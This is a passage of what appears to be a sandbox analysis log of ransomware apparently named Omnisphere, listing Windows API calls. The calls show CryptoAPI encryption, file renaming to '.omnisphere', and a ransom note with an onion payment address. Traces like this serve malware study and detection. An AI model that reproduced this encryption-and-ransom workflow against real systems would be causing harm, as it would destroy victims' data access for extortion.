0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.694] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] GetTickCount () returned 0x1164be5 [0147.695] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668f00) returned 1 [0147.696] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0147.696] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.696] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.696] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0147.696] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x199, lpName=0x0) returned 0x388 [0147.697] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x199) returned 0x1480000 [0147.698] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668a38) returned 1 [0147.698] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0147.699] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.700] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.700] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0147.700] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x199, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.700] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.751] GetProcessHeap () returned 0x1600000 [0147.751] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d4) returned 0x172f450 [0147.751] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk.omnisphere")) returned 1 [0147.753] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.omnisphere.id" [0147.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\run.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.813] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.815] CloseHandle (hObject=0x3b4) returned 1 [0147.815] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.815] CloseHandle (hObject=0x388) returned 1 [0147.815] SetEndOfFile (hFile=0x3c0) returned 1 [0147.815] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.999] CloseHandle (hObject=0x3c0) returned 1 [0148.004] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0148.004] GetProcessHeap () returned 0x1600000 [0148.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172f730 [0148.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0148.004] GetProcessHeap () returned 0x1600000 [0148.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd9d8 [0148.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd9d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0148.004] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0148.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.004] GetProcessHeap () returned 0x1600000 [0148.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726918 [0148.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726918, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0148.004] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0148.004] GetProcessHeap () returned 0x1600000 [0148.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x172fc50 [0148.005] PathCombineW (in: pszDest=0x172fc50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0148.005] GetProcessHeap () returned 0x1600000 [0148.005] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171eb00 [0148.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.005] WriteFile (in: hFile=0x3c0, lpBuffer=0x171eb00*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171eb00*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0148.005] CloseHandle (hObject=0x3c0) returned 1 [0148.005] GetProcessHeap () returned 0x1600000 [0148.006] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172f730 | out: hHeap=0x1600000) returned 1 [0148.006] GetProcessHeap () returned 0x1600000 [0148.006] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172ac08 [0148.006] PathCombineW (in: pszDest=0x172ac08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0148.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.006] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0148.006] CloseHandle (hObject=0x3c0) returned 1 [0148.006] GetProcessHeap () returned 0x1600000 [0148.006] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172ac08 | out: hHeap=0x1600000) returned 1 [0148.006] GetProcessHeap () returned 0x1600000 [0148.006] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0148.006] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Run.lnk", cAlternateFileName="")) returned 0 [0148.007] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0148.007] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x393465ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x393465ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x393465ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x393465ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd2ec2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38bd2ec2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39510917, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x38bacd51, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x99a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Command Prompt.lnk.omnisphere", cAlternateFileName="COMMAN~1.OMN")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bacd51, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38bacd51, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38bacd51, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Command Prompt.lnk.omnisphere.id", cAlternateFileName="COMMAN~1.ID")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x38fff172, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x673, dwReserved0=0x0, dwReserved1=0x0, cFileName="computer.lnk.omnisphere", cAlternateFileName="COMPUT~1.OMN")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fe908c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38fe908c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38fe908c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="computer.lnk.omnisphere.id", cAlternateFileName="COMPUT~1.ID")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x39025484, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Control Panel.lnk.omnisphere", cAlternateFileName="CONTRO~1.OMN")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39025484, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39025484, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39025484, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Control Panel.lnk.omnisphere.id", cAlternateFileName="CONTRO~1.ID")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3907187c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3904b5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3904b5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3904b5b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x39097c57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="File Explorer.lnk.omnisphere", cAlternateFileName="FILEEX~1.OMN")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39097c57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x39097c57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39097c57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="File Explorer.lnk.omnisphere.id", cAlternateFileName="FILEEX~1.ID")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x393465ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, 